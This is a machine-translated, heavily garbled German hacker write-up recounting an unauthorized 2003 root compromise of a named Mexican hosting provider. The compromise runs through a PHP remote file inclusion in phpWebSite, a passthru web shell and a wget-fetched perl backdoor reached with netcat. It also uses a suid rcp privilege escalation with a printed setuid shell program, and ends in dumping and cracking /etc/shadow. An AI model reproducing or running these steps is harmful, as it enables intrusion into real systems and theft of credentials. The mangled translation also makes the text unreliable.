This page has been robot translated, sorry for typos if any. Original content here.

Root auf dem Hosting-Anbieter


Intro
Ich habe beschlossen, genau dieses Hacken zu beschreiben, denn es ist schon vor kurzem passiert (außerdem - zu diesem Zeitpunkt - am 23. Januar 2003 - der Server ist immer noch in den Händen von DHG, sozusagen) auch der General, den ich vor langer Zeit gefragt habe, um etwas interessantes Hacken zu beschreiben.
Ich möchte nicht, dass diese Geschichte ein Werkzeug für die Gräueltaten anderer Menschen ist, also geben wir bewusst einige Fehler / Ungenauigkeiten an (was aber jeder fortgeschrittene Benutzer bemerkt). Nun, auch kauen elementare Dinge, wie "Linux-Befehle auch in welchen Ort zu schauen, wie man eine solide zu kompilieren", werden wir nicht. Also lass uns gehen

Runde Nr. 1: Fernbedienung.
Im Allgemeinen war das ursprüngliche Ziel das mexikanische Linux-Portal www. *** Com, das einst von diesem Anbieter gehostet wurde.
Zuerst war es notwendig, die Achse zu finden, auf der dieses Portal steht. Obwohl, der Stumpf ist klar, dass die Website über Linux kann nicht auf Windows in irgendeiner Weise hängen. Auf http war: "Apache / 1.3.26 (Unix) (Red Hat / Linux) Chili Soft-ASP / 3.6.2 PHP / 4.1.2", das FTP-Banner lese:
Managedhosting FTP Server (Version 6.5 / OpenBSD, Linux Port 0.3.2) bereit.
Scannen Sie die Häfen, cgi-bug'i und irgendwelche solche Unsinn, wir wurden nicht - genauer gesagt, beschlossen, für später zu verschieben. Nun, ich wollte auch nicht die IP abdecken. Also, im FTP-Banner blitzte der Ausdruck "Hosting"! Scoring in Ripnet, entschieden wir uns, direkt an ip'u, die www. Er hat mich auf die Seite "managedhosting.dialtoneinternet.com.mx" gebracht, was offensichtlich sein Gastgeber war. Später wurde eine kurze manuelle bruteforce'a berechnet die echte Website Hosting: dialtoneinternet.com.mx (www.dialtone.com).
Daraufhin haben wir beschlossen, vorerst auch auf die gebrochene Seite zurückzukehren. Er war auf der PHP-Engine "phpWebSite" der unbekannten Version. Dieser reguläre php-nuke-Klon unterscheidet sich in keiner Weise mit besonderem Schwerpunkt auf Sicherheit. Alle Versionen von PWS bis zu 0,8,2 (auch mit der Stable Mark) hatten eine Schwachstellenklasse 'Php Source Injektion'. Diejenigen, denen nichts das nichts sagt, sehe r4ShRaYs Artikel über diese Verwundbarkeit. Der Rest, weiterlesen. Also, hier ist ein Stück der modsecurity.php Datei:

<? php
global $ inc_prefix;
if (! $ inc_prefix) {
...
}
...
include_once ($ inc_prefix. "htmlheader.php");
?>

IMHO, hier sollte alles klar sein. Dieses Skript in ähnlicher Weise ausführen:
http: //www.***.com/modsecurity.php? inc_prefix = http: //www.dhgroup.org
Die Datei htmlheader.php, die auf unserer Seite liegt, wird mit the_exe_defined_paces ausgeführt. Das einzige, was mich belästigte, war, dass die angegriffene Seite gepatched ist, oder eine neuere Version (schließlich ist es nicht eine Art "Vasyas Homepage", sondern ein Portal für kewl-Linux-Userz).
Im Allgemeinen haben wir eine Datei htmlheader.php auf unserer Website erstellt, die folgende Inhalte enthält:

< Durchgang ("$ cmd")?>

Dann ging an die Adresse:
modsecurity.php? inc_prefix = http: //www.dhgroup.org&cmd=ls
Auf was wir erhielten die Katalogliste www. # Hinweis. Weiter alle Befehle komme ich ohne "...? Inc_prefix = http: // ..."!

Runde # 2: lokal.
> echo hi> kewl.txt; Katze kewl.txt
Bei diesen beiden Befehlen antwortete der Browser mit einem leeren schneeweißen Bildschirm. Dies zeigte, dass ich nicht das Recht hatte, in das Verzeichnis www zu schreiben. Das ist, es ist zu früh, um über das Wort auszudrücken. Nun, bevor wir weitere Maßnahmen ergreifen, war es notwendig, mehr Informationen über das System zu sammeln. Die Hauptsache, die wir taten, war, die httpd.conf-Datei zu bekommen:
> cat /etc/httpd/conf/httpd.conf
Von dort aus haben wir die Version des Newsreaders herausgerissen (übrigens, der http-Header 'Server' war über die Anwesenheit von FrontPage'a schweigen) auch der Weg zu den www-Verzeichnissen der Seiten: dialtoneinternet.com.mx (defekter Hosting-Provider), stormarketing.com, altavistablinds.com, parigitown.com, gut, auch zu mehreren großen Ressourcen:
# -FrontPage- Version = 4.0
##
## httpd.conf - Apache HTTP Server Konfigurationsdatei
##
...
<VirtualHost 66.33.62.88>
<Verzeichnis / home / admin / www / serversecure>
Optionen Alle
AllowOverride Alle
</ Verzeichnis>
ServerName dialtoneinternet.com.mx
ServerAlias ​​www.dialtoneinternet.com.mx
DocumentRoot / home / admin / www
ErrorLog logs / error_log
TransferLog logs / transfer_log
Gruppe niemand
ScriptAlias ​​/ cgi-bin / / home / admin / www / cgi-bin /
</ VirtualHost>
...
Natürlich, um sie zu deklarieren, gibt es nicht genügend Rechte, aber sie sind genug, um die phronische service.pwd (falls vorhanden) dieser Seiten mit all den folgenden Konsequenzen zu sehen;) Diese Gelegenheit, die wir auf diesem Abenteuer verließen, wenn ich es tat in irgendeiner Weise wird es nicht möglich sein, die Privilegien zu erheben.
Als nächstes haben wir für das Interesse:
> netstat -a
Was ich bekam (# - meine Tags):
  Aktive Internetverbindungen (Server und etablierte)
 Proto Recv-Q Send-Q Lokale Adresse Ausländischer Adressstatus 
 tcp 0 1 66.33.62. *: 2114 by.ru:www LAST_ACK # (1)
 tcp 0 0 66.33.62. *: www 62.141.75.226:3116 ESTABLISHED 
 tcp 0 0 *: www *: * LISTEN 
 tcp 0 0 *: imap2 *: * LISTEN 
 tcp 0 0 *: pop3 *: * LISTEN 
 tcp 0 0 *: ftp *: * LISTEN 
 tcp 0 0 *: 81 *: * LISTEN 
 tcp 0 0 *: https *: * LISTEN # (2)
 tcp 0 0 managedhosting.d: domain *: * LISTEN 
 tcp 0 0 managedhosting2.:domain *: * LISTEN 
 tcp 0 0 spacebattles.net:domain *: * LISTEN 
 tcp 0 0 66.33.62. *: Domain *: * LISTEN 
 tcp 0 0 localhost.locald: domain *: * LISTEN 
 tcp 0 0 *: smtp *: * LISTEN 
 tcp 0 0 *: mysql *: * LISTEN 
 tcp 0 0 *: casp3001 *: * LISTEN 
 tcp 0 0 *: casp3000 *: * LISTEN 
 tcp 0 0 *: casp5105 *: * LISTEN 
 tcp 0 0 *: casp5103 *: * LISTEN 
 tcp 0 0 *: casp5104 *: * LISTEN 
 tcp 0 0 *: 1581 *: * LISTEN 
 tcp 0 0 *: 1024 *: * LISTEN 
 tcp 0 0 *: ssh *: * LISTEN # (3)
 udp 0 0 *: 4320 *: * 
 udp 0 0 managedhosting.d: domain *: * 
 udp 0 0 managedhosting2.:domain *: * 
 udp 0 0 spacebattles.net:domain *: * 
 udp 0 0 66.33.62. *: Domain *: * 
 udp 0 0 localhost.locald: Domain *: * 
 roh 0 0 *: udp *: * 7 
 roh 0 0 *: tcp *: * 7 
 roh 0 0 *: icmp *: * 7 
 roh 0 0 *: tcp *: * 7 
 Aktive UNIX Domain Sockets (Server und installierte)
 Proto RefCnt Flags Typ Zustand I-Knoten Pfad
 unix 0 [ACC] STREAM HÖREN 552166 /home/httpsd/cache/ssl.socket
 unix 0 [ACC] STREAM HÖREN 2087 /tmp/mysql.sock
 unix 4 [] DGRAM 290 / dev / log
 unix 0 [ACC] STREAM HÖREN 549144 / var / run / ndc
 unix 0 [] STREAM 565939 
 unix 0 [] DGRAM 555692 
 unix 0 [] DGRAM 549142 
 unix 0 [] DGRAM 3193 
 unix 0 [] DGRAM 303 
(1) ist wir =)
(2) - die Anwesenheit von ssl drückt in der Regel den Austausch von privaten Informationen mit dem Server (cc, zum Beispiel). Obwohl, für das Hosting ist es in der Reihenfolge der Dinge.
(3) - hier ist er! Er wird später handlich sein.
Ich brauchte auch keine Häfen zu scannen :)
Als nächstes war es notwendig, auf einige spezifische Aktionen vorzugehen, oder vielmehr, um zumindest fast die Version der Cap plus zu erfahren, und von diesem, schon weiter zu tanzen. Also, für diejenigen, die gar nicht wissen, einige (wenn nicht alle) Linux-Distributionen verlassen die Datei "* -Release" (wo * ist der Name der Verteilung: Mandrake-Release, Cobalt-Release ...) in der / etc / auch Admins haben keine Möglichkeit, es zu beseitigen.
> Katze / etc / redhat-release:
Red Hat Linux Release 6.1 (Cartman)
Obaaaaa, ich muss sagen, das haben wir nicht erwartet :) Der ganze Rest des blah blah war eine Frage der Technik. Um die lang erwartete Rue zu erreichen, haben wir beschlossen, die Schwachstelle von RedHat in rcp zu nutzen.

Red Hat 6.2: rcp mögliches Wurzelloch
In der Tat wurde die Schwachstelle in Cap 6.2 gefunden. Etwa 6,1 in der Post von Andrew Griffiths und Tlabs sagte kein Wort. Ponadeyavshis Glück, führten wir vor:
> ls -alF `das rcp`
-rwsr-xr-x 1 Wurzelwurzel 14868 Jul 30 1999 / usr / bin / rcp *
Op! Die suid rcp besitzt das Zimmer! Es ist schon gut :) Ich schenkte mir "rcpsploit.pl" von tlabs plus, nachdem ich die Quelle studiert hatte, hielt an. Ich werde vielleicht erklären, wie diese solide funktioniert, vielleicht wird es Ihnen helfen, das Wesen der Verwundbarkeit des entstandenen Problems zu verstehen.
So schafft es 2 Dateien:
/tmp/shell.c---------------------

#include
#include
int main ()
{
setuid (0);
setgid (0);
execl ("/ bin / sh", "sh", 0);
Rückgabe 0;
}


hey ------------------------------
Sploit von tlabs geschrieben, dank Andrew Griffiths für den Fehlerbericht

Dann, durch die suid rcp, verschmilzt die Schale der Schale auch als chmod'om wirkt als solches blah-blah-suid. Das ist auch alles! Das Ausführen der kompilierten Shell bekommt auch eine Shell mit uid = 0, gid = 0. Aber was ist die Verwendung dieser Shell für uns, wenn wir Befehle über einen Webserver ausführen? : - /
Um diese solide Arbeit zu machen, war nur die "normale" Schale erlaubt.
Nun, du brauchst eine Schale? Er wird! In meinem warez-archiv hat sich schon lange ein langer perl-trojaner gestürzt, den wir auch entschieden haben:
> wget -o = / tmp / .tmp.pl http://www.dhgroup.org/exp/backhole.pl
> chmod 755 /.tmp/tmp.pl
> perl /tmp/.tmp.pl
Weiter auf deinem Computer:
> nc ***. com 51015
Nach verbunden:
> cd / tmp
> wget -c http://www.dhgroup.org/exp/rcpsploit.pl
> chmod 755 rcpsploit.pl; perl rcpsploit.pl
Ok, zu einfach, wir werden einfach eine Shell starten, lässt Hoffnung Scheiße ging gut innit :)
> id
uid = 0 (root) gid = 0 (root) gruppen = 0 (root), 1 (bin), 2 (daemon), 3 (sys), 4 (adm), 6 (disk), 10 (rad)
Das ist auch alles :) Nun auch das letzte:
> Katze / etc / Schatten
Wurzel: ###: 11961: 0: 99999: 7: -1: -1: 134549964
bin: *: 10925: 0: 99999: 7 :::
daemon: *: 10925: 0: 99999: 7 :::
adm: ###: 11577: 0: 99999: 7: -1: -1: 134549852
... etc ...
JTR zählte 977 Passwörter%) Um die Büste zu beschleunigen, haben wir eingeführt:
john -i: all -u: Wurzelschatten
Irgendwo 8 Stunden und ... lang erwarteter Moment:




Dann habe ich in dort gegossen, ein paar Datapipe's auch bnc ... obwohl dies eine ganz andere Geschichte ist ....

Was wurde beim Hacken benutzt:
Netscape v.xz
secureCRT 3.1
NetCat
John der Ripper
backhole.pl
rcpsploit.pl
Gehirne
PacketStormSecurity

Schlussfolgerungen / Bemerkungen / Bemerkungen:
1. Wenn ein bestimmter Server als Hosting Provider oder ein Linux Portal wichtig ist, bedeutet dies nicht, dass es gut geschützt ist.
2. Im Prozess des Hackens, sollten Sie nicht ausdrücklich erklären, Ihre eigene Art (dies wird später ein Artikel).
3. Beim Hacken, fast nie verwendet, die so genannte "Hacker" -Software.
4. RH6. * - essen Sie nicht gud :)

PS IMHO, der Leser kann den Eindruck haben, dass ich gerade Glück hatte auch das totale Hacken ein paar Minuten. Das ist nicht so. Es gab Momente, zu welcher Zeit meine Hände fielen, zu welcher Zeit ich meinen Kopf gegen die Wand kämpfen wollte.

Autor: D4rkGr3y


Das Material wird mit Genehmigung der DHGROUP (http://www.dhgroup.org) veröffentlicht.